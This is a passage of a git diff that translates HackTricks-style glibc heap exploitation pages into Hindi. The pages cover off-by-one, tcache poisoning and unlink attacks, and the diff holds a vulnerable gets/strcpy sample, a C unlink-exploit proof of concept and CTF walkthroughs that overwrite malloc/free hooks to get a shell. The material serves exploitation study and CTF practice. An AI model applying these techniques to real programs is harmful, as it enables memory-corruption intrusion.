प्रकार उस बाइट को केवल 0x00 के साथ ओवरराइट करने की अनुमति देता है +- इस कमजोरी का एक सामान्य उदाहरण निम्नलिखित कोड में देखा जा सकता है जहां `strlen` और `strcpy` का व्यवहार असंगत है, जो अगले चंक की शुरुआत में 0x00 बाइट सेट करने की अनुमति देता है। +- इसे [House of Einherjar](house-of-einherjar.md) के साथ शोषित किया जा सकता है। +- यदि Tcache का उपयोग किया जा रहा है, तो इसे [double free](double-free.md) स्थिति में लाभ उठाया जा सकता है।
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +अन्य जांचों के बीच, अब जब भी एक चंक मुक्त होता है, तो पिछले आकार की तुलना मेटाडेटा के चंक में कॉन्फ़िगर किए गए आकार से की जाती है, जिससे यह हमला संस्करण 2.28 से काफी जटिल हो जाता है। -### Code example: +### कोड उदाहरण: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- यह हमला Tcaches के उपयोग के कारण अब काम नहीं कर रहा है। +- इसके अलावा, यदि आप इसे बड़े चंक्स का उपयोग करके दुरुपयोग करने की कोशिश करते हैं (ताकि tcaches शामिल न हों), तो आपको त्रुटि मिलेगी: `malloc(): invalid next size (unsorted)` -### Goal +### लक्ष्य -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- एक चंक को दूसरे चंक के अंदर रखना ताकि उस दूसरे चंक पर लेखन पहुंच उसे ओवरराइट करने की अनुमति दे। -### Requirements +### आवश्यकताएँ -- Off by one overflow to modify the size metadata information +- आकार मेटाडेटा जानकारी को संशोधित करने के लिए ऑफ बाय वन ओवरफ्लो। -### General off-by-one attack +### सामान्य ऑफ-बाय-वन हमला -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- तीन चंक्स `A`, `B` और `C` (मान लें आकार 0x20) आवंटित करें, और एक और एक को शीर्ष-चंक के साथ समेकन से रोकने के लिए। +- `C` को मुक्त करें (0x20 Tcache मुक्त-सूची में डाला गया)। +- चंक `A` का उपयोग करके `B` पर ओवरफ्लो करें। `B` के `size` फ़ील्ड को 0x21 से 0x41 में संशोधित करने के लिए ऑफ-बाय-वन का दुरुपयोग करें। +- अब हमारे पास `B` में मुक्त चंक `C` है। +- `B` को मुक्त करें और एक 0x40 चंक आवंटित करें (यह फिर से यहाँ रखा जाएगा)। +- हम `C` से `fd` पॉइंटर को संशोधित कर सकते हैं, जो अभी भी मुक्त है (Tcache विषाक्तता)। -### Off-by-null attack +### ऑफ-बाय-नल हमला -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- 3 मेमोरी चंक्स (a, b, c) एक के बाद एक आरक्षित किए जाते हैं। फिर मध्य वाला मुक्त किया जाता है। पहला एक ऑफ बाय वन ओवरफ्लो भेद्यता रखता है और हमलावर इसका दुरुपयोग 0x00 के साथ करता है (यदि पिछले बाइट 0x10 था तो यह मध्य चंक को यह संकेत देगा कि यह वास्तव में 0x10 छोटा है)। +- फिर, मध्य मुक्त चंक (b) में 2 और छोटे चंक्स आवंटित किए जाते हैं, हालाँकि, चूंकि `b + b->size` कभी भी c चंक को अपडेट नहीं करता है क्योंकि पॉइंटेड पता जितना होना चाहिए उससे छोटा है। +- फिर, b1 और c को मुक्त किया जाता है। चूंकि `c - c->prev_size` अभी भी b (अब b1) की ओर इशारा करता है, दोनों एक चंक में समेकित होते हैं। हालाँकि, b2 अभी भी b1 और c के बीच में है। +- अंततः, एक नया malloc किया जाता है जो इस मेमोरी क्षेत्र को पुनः प्राप्त करता है जो वास्तव में b2 को समाहित करने जा रहा है, जिससे नए malloc के मालिक को b2 की सामग्री को नियंत्रित करने की अनुमति मिलती है। -This image explains perfectly the attack: +यह चित्र हमले को पूरी तरह से समझाता है:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## अन्य उदाहरण और संदर्भ - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- `strlen` के कारण ऑफ-बाय-वन। +- Tcache का उपयोग किया जा रहा है, इसलिए एक सामान्य ऑफ-बाय-वन हमले का उपयोग Tcache विषाक्तता के साथ एक मनमाना लिखने की प्राइमिटिव प्राप्त करने के लिए किया जाता है। - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- एक ऑफ बाय वन का दुरुपयोग करके हीप से एक पता लीक करना संभव है क्योंकि एक स्ट्रिंग के अंत का बाइट 0x00 अगले फ़ील्ड द्वारा ओवरराइट किया जा रहा है। +- मनमाना लिखने को प्राप्त करने के लिए ऑफ बाय वन लिखने का दुरुपयोग किया जाता है ताकि पॉइंटर को एक और स्थान पर इंगित किया जा सके जहाँ एक नकली संरचना के साथ नकली पॉइंटर्स बनाए जाएंगे। फिर, इस संरचना के पॉइंटर का पालन करके मनमाना लिखना संभव है। +- libc पता लीक होता है क्योंकि यदि हीप को mmap का उपयोग करके बढ़ाया जाता है, तो mmap द्वारा आवंटित मेमोरी libc से एक निश्चित ऑफसेट रखती है। +- अंततः मनमाना लिखने का दुरुपयोग किया जाता है ताकि \_\_free_hook के पते पर एक गेजेट लिखा जा सके। - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- `getline` फ़ंक्शन में एक NULL ऑफ बाय वन भेद्यता है जो उपयोगकर्ता इनपुट पंक्तियों को पढ़ता है। यह फ़ंक्शन सामग्री की "कुंजी" पढ़ने के लिए उपयोग किया जाता है और सामग्री नहीं। +- लेखन में 5 प्रारंभिक चंक्स बनाए जाते हैं: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- शीर्ष चंक के साथ समेकन से बचने के लिए चंक रक्षा (0x400) +- फिर चंक 1, 5 और 3 को मुक्त किया जाता है, इसलिए: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- फिर चंक3 (0x1f8) का दुरुपयोग करते हुए नल ऑफ-बाय-वन का दुरुपयोग करते हुए prev_size को `0x4e0` पर लिखा जाता है। +- ध्यान दें कि प्रारंभ में आवंटित चंक्स 1, 2, 5 और 3 के आकार और उन चंक्स के 4 हेडर का योग `0x4e0` के बराबर है: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- फिर, चंक 4 को मुक्त किया जाता है, एक चंक उत्पन्न करते हुए जो सभी चंक्स को शुरुआत तक खा जाता है: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +- फिर, `0x200` बाइट्स आवंटित किए जाते हैं जो मूल चंक 1 को भरते हैं। +- और फिर 0x200 बाइट्स आवंटित किए जाते हैं और चंक2 नष्ट हो जाता है और इसलिए कोई लीक नहीं होती है और यह काम नहीं करता? शायद ऐसा नहीं करना चाहिए। +- फिर, यह 0x58 "a"s के साथ एक और चंक आवंटित करता है (चंक2 को ओवरराइट करते हुए और चंक5 तक पहुँचते हुए) और चंक5 के तेज़ बिन चंक के `fd` को `__malloc_hook` की ओर इशारा करते हुए संशोधित करता है। +- फिर, 0x68 का एक चंक आवंटित किया जाता है ताकि `__malloc_hook` में नकली तेज़ बिन चंक अगला तेज़ बिन चंक हो। +- अंततः, 0x68 का एक नया तेज़ बिन चंक आवंटित किया जाता है और `__malloc_hook` को एक `one_gadget` पते के साथ ओवरराइट किया जाता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..55c4c2886 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# एक मुक्त खंड को अधिलेखित करना {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +कई प्रस्तावित हीप शोषण तकनीकों को मुक्त खंडों के अंदर पॉइंटर्स को अधिलेखित करने में सक्षम होना आवश्यक है। इस पृष्ठ का लक्ष्य उन संभावित कमजोरियों का सारांश प्रस्तुत करना है जो इस पहुंच को प्रदान कर सकती हैं: -### Simple Use After Free +### सरल उपयोग के बाद मुक्त -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +यदि हमलावर के लिए **एक मुक्त खंड में जानकारी लिखना संभव है**, तो वे आवश्यक पॉइंटर्स को अधिलेखित करने के लिए इसका दुरुपयोग कर सकते हैं। -### Double Free +### डबल फ्री -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +यदि हमलावर **एक ही खंड को दो बार `free`** कर सकता है (संभवतः बीच में अन्य खंडों को मुक्त करके) और इसे **एक ही बिन में 2 बार** बना सकता है, तो उपयोगकर्ता के लिए **बाद में खंड आवंटित करना**, **आवश्यक पॉइंटर्स को लिखना** और फिर **इसे फिर से आवंटित करना** संभव होगा, जिससे खंड के आवंटित होने की क्रियाएँ शुरू होंगी (जैसे, तेज बिन हमला, tcache हमला...) -### Heap Overflow +### हीप ओवरफ्लो -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +यह संभव हो सकता है कि **एक आवंटित खंड को एक मुक्त खंड के साथ ओवरफ्लो किया जाए** और इसके कुछ हेडर/पॉइंटर्स को संशोधित किया जाए। -### Off-by-one overflow +### ऑफ-बाय-वन ओवरफ्लो -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +इस मामले में, यह संभव होगा कि **मेमोरी में अगले खंड का आकार** संशोधित किया जाए। एक हमलावर इसका दुरुपयोग कर सकता है **एक आवंटित खंड का आकार बड़ा करने के लिए**, फिर **`free`** करना, जिससे खंड **एक अलग** आकार (बड़ा) के बिन में **जोड़ा जाए**, फिर **नकली आकार** आवंटित करना, और हमला एक **ऐसे खंड तक पहुंच प्राप्त करेगा जिसका आकार वास्तव में बड़ा है**, **इसलिए ओवरलैपिंग खंडों की स्थिति** प्रदान करना, जिसे **हीप ओवरफ्लो** के समान तरीके से शोषित किया जा सकता है (पिछले अनुभाग की जांच करें)। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..caba781c1 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -4,44 +4,44 @@ ## Basic Information -For more information about what is a Tcache bin check this page: +Tcache बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +सबसे पहले, ध्यान दें कि Tcache को Glibc संस्करण 2.26 में पेश किया गया था। -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +**Tcache हमला** (जिसे **Tcache विषाक्तता** के रूप में भी जाना जाता है) जो [**guyinatuxido पृष्ठ**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) में प्रस्तावित किया गया है, तेज बिन हमले के समान है जहाँ लक्ष्य मुक्त किए गए खंड के अंदर बिन में अगले खंड के लिए पॉइंटर को एक मनमाने पते पर ओवरराइट करना है ताकि बाद में उस विशेष पते को **आवंटित किया जा सके और संभावित रूप से पॉइंटर्स को ओवरराइट किया जा सके**। -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +हालांकि, आजकल, यदि आप उल्लेखित कोड चलाते हैं तो आपको त्रुटि मिलेगी: **`malloc(): unaligned tcache chunk detected`**। इसलिए, नए पॉइंटर में पते के रूप में एक संरेखित पता लिखना आवश्यक है (या बाइनरी को पर्याप्त बार चलाना ताकि लिखा गया पता वास्तव में संरेखित हो)। ### Tcache indexes attack -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +आमतौर पर, यह संभव है कि हीप की शुरुआत में एक खंड हो जिसमें **tcache के अंदर प्रति इंडेक्स खंडों की मात्रा** और **प्रत्येक tcache इंडेक्स के हेड खंड का पता** हो। यदि किसी कारण से इस जानकारी को संशोधित करना संभव है, तो यह संभव होगा कि **कुछ इंडेक्स के हेड खंड को एक इच्छित पते पर इंगित किया जाए** (जैसे `__malloc_hook`) ताकि फिर एक इंडेक्स के आकार का खंड आवंटित किया जा सके और इस मामले में `__malloc_hook` की सामग्री को ओवरराइट किया जा सके। ## Examples - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Libc info leak**: यह tcaches को भरने, असंरचित सूची में एक खंड जोड़ने, tcache को खाली करने और **केवल पहले 8B को ओवरराइट करके असंरचित बिन से खंड को फिर से आवंटित करने** के लिए संभव है, जिससे **chunk से libc का दूसरा पता बरकरार रहता है ताकि हम इसे पढ़ सकें**। +- **Tcache attack**: बाइनरी एक 1B हीप ओवरफ्लो के लिए संवेदनशील है। इसका दुरुपयोग **आवंटित खंड के आकार के हेडर** को बदलने के लिए किया जाएगा जिससे यह बड़ा हो जाएगा। फिर, इस खंड को **मुक्त** किया जाएगा, इसे नकली आकार के खंडों के tcache में जोड़ दिया जाएगा। फिर, हम नकली आकार के साथ एक खंड आवंटित करेंगे, और पिछले खंड को **वापस किया जाएगा यह जानते हुए कि यह खंड वास्तव में छोटा था** और यह हमें **मेमोरी में अगले खंड को ओवरराइट करने का अवसर प्रदान करता है**।\ +हम इसका दुरुपयोग करेंगे **अगले खंड के FD पॉइंटर को ओवरराइट करने के लिए** ताकि यह **`malloc_hook`** की ओर इंगित करे, ताकि फिर 2 पॉइंटर्स आवंटित करना संभव हो: पहले वैध पॉइंटर जिसे हमने अभी संशोधित किया, और फिर दूसरा आवंटन **`malloc_hook`** में एक खंड लौटाएगा जिसे **one gadget** लिखने के लिए दुरुपयोग किया जा सकता है। - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Libc info leak**: यहाँ एक उपयोग के बाद मुक्त और एक डबल फ्री है। इस लेख में लेखक ने एक छोटे बिन में रखे गए खंड के पते को पढ़कर libc का पता लीक किया (जैसे असंरचित बिन से लीक करना लेकिन छोटे से)। +- **Tcache attack**: एक Tcache **डबल फ्री** के माध्यम से किया जाता है। एक ही खंड को दो बार मुक्त किया जाता है, इसलिए Tcache के अंदर खंड स्वयं की ओर इंगित करेगा। फिर, इसे आवंटित किया जाता है, इसका FD पॉइंटर **फ्री हुक** की ओर इंगित करने के लिए संशोधित किया जाता है और फिर इसे फिर से आवंटित किया जाता है ताकि सूची में अगला खंड फ्री हुक में हो। फिर, इसे भी आवंटित किया जाता है और यहाँ `system` का पता लिखना संभव है ताकि जब `"/bin/sh"` वाला malloc मुक्त किया जाए तो हमें एक शेल मिल सके। - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html) - - The main vuln here is the capacity to `free` any address in the heap by indicating its offset - - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100. - - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**. - - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\ - For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell. +- यहाँ मुख्य कमजोरी यह है कि आप हीप में किसी भी पते को उसके ऑफसेट को इंगित करके `free` कर सकते हैं। +- **Tcache indexes attack**: यह संभव है कि एक ऐसे आकार का खंड आवंटित और मुक्त किया जाए जो जब tcache खंड (tcache बिन की जानकारी वाला खंड) के अंदर संग्रहीत किया जाता है तो **0x100 का मान उत्पन्न करता है**। इसका कारण यह है कि tcache प्रत्येक बिन में खंडों की मात्रा को विभिन्न बाइट्स में संग्रहीत करता है, इसलिए एक विशिष्ट इंडेक्स में एक खंड 0x100 का मान उत्पन्न करता है। +- फिर, यह मान ऐसा दिखता है जैसे 0x100 का आकार का एक खंड है। इसे `free` करके दुरुपयोग करने की अनुमति देता है। यह **उस पते को tcache में 0x100 के आकार के खंडों के इंडेक्स में जोड़ देगा**। +- फिर, **0x100** के आकार का एक खंड **आवंटित** करते समय, पिछले पते को एक खंड के रूप में वापस किया जाएगा, जिससे अन्य tcache इंडेक्स को ओवरराइट करना संभव होगा।\ +उदाहरण के लिए, malloc हुक का पता उनमें से एक में डालना और उस इंडेक्स के आकार का एक खंड आवंटित करना calloc हुक में एक खंड प्राप्त करने की अनुमति देगा, जो एक **one gadget** लिखने के लिए एक शेल प्राप्त करने की अनुमति देता है। - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html) - - Same vulnerability as before with one extra restriction - - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it. +- पहले की तरह ही कमजोरी है लेकिन एक अतिरिक्त प्रतिबंध के साथ। +- **Tcache indexes attack**: पिछले वाले के समान हमला लेकिन **tcache जानकारी वाले खंड को मुक्त करके** कम चरणों का उपयोग करके ताकि इसका पता उसके आकार के tcache इंडेक्स में जोड़ा जा सके ताकि उस आकार को आवंटित करना संभव हो और tcache खंड की जानकारी को एक खंड के रूप में प्राप्त किया जा सके, जो एक इंडेक्स के पते के रूप में फ्री हुक को जोड़ने की अनुमति देता है, इसे आवंटित करें, और उस पर एक **one gadget** लिखें। - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) - - **Write After Free** to add a number to the `fd` pointer. - - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy. - - **Glibc leak** through `stdout` (FSOP). - - **Tcache poisoning** to get an arbitrary write primitive. +- **Write After Free** `fd` पॉइंटर में एक संख्या जोड़ने के लिए। +- इस चुनौती में बहुत सारे **heap feng-shui** की आवश्यकता है। लेख में दिखाया गया है कि **Tcache** फ्री-लिस्ट के हेड को नियंत्रित करना कितना उपयोगी है। +- `stdout` (FSOP) के माध्यम से **Glibc leak**। +- **Tcache poisoning** एक मनमाने लिखने की प्राइमिटिव प्राप्त करने के लिए। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md index 959ff36db..17813f126 100644 --- a/src/binary-exploitation/libc-heap/unlink-attack.md +++ b/src/binary-exploitation/libc-heap/unlink-attack.md @@ -4,14 +4,13 @@ ## Basic Information -When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**. +जब इस हमले का पता चला, तो इसने ज्यादातर WWW (Write What Where) की अनुमति दी, हालाँकि, कुछ **जांचें जोड़ी गईं** जिससे हमले का नया संस्करण अधिक दिलचस्प, अधिक जटिल और **व्यर्थ** हो गया। ### Code Example:
Code - ```c #include #include @@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { - size_t prev_size; - size_t size; - struct chunk_structure *fd; - struct chunk_structure *bk; - char buf[10]; // padding +size_t prev_size; +size_t size; +struct chunk_structure *fd; +struct chunk_structure *bk; +char buf[10]; // padding }; int main() { - unsigned long long *chunk1, *chunk2; - struct chunk_structure *fake_chunk, *chunk2_hdr; - char data[20]; +unsigned long long *chunk1, *chunk2; +struct chunk_structure *fake_chunk, *chunk2_hdr; +char data[20]; - // First grab two chunks (non fast) - chunk1 = malloc(0x8000); - chunk2 = malloc(0x8000); - printf("Stack pointer to chunk1: %p\n", &chunk1); - printf("Chunk1: %p\n", chunk1); - printf("Chunk2: %p\n", chunk2); +// First grab two chunks (non fast) +chunk1 = malloc(0x8000); +chunk2 = malloc(0x8000); +printf("Stack pointer to chunk1: %p\n", &chunk1); +printf("Chunk1: %p\n", chunk1); +printf("Chunk2: %p\n", chunk2); - // Assuming attacker has control over chunk1's contents - // Overflow the heap, override chunk2's header +// Assuming attacker has control over chunk1's contents +// Overflow the heap, override chunk2's header - // First forge a fake chunk starting at chunk1 - // Need to setup fd and bk pointers to pass the unlink security check - fake_chunk = (struct chunk_structure *)chunk1; - fake_chunk->size = 0x8000; - fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P - fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P +// First forge a fake chunk starting at chunk1 +// Need to setup fd and bk pointers to pass the unlink security check +fake_chunk = (struct chunk_structure *)chunk1; +fake_chunk->size = 0x8000; +fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P +fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P - // Next modify the header of chunk2 to pass all security checks - chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); - chunk2_hdr->prev_size = 0x8000; // chunk1's data region size - chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit +// Next modify the header of chunk2 to pass all security checks +chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); +chunk2_hdr->prev_size = 0x8000; // chunk1's data region size +chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit - // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' - // This results in chunk1 pointer pointing to chunk1 - 3 - // i.e. chunk1[3] now contains chunk1 itself. - // We then make chunk1 point to some victim's data - free(chunk2); - printf("Chunk1: %p\n", chunk1); - printf("Chunk1[3]: %x\n", chunk1[3]); +// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' +// This results in chunk1 pointer pointing to chunk1 - 3 +// i.e. chunk1[3] now contains chunk1 itself. +// We then make chunk1 point to some victim's data +free(chunk2); +printf("Chunk1: %p\n", chunk1); 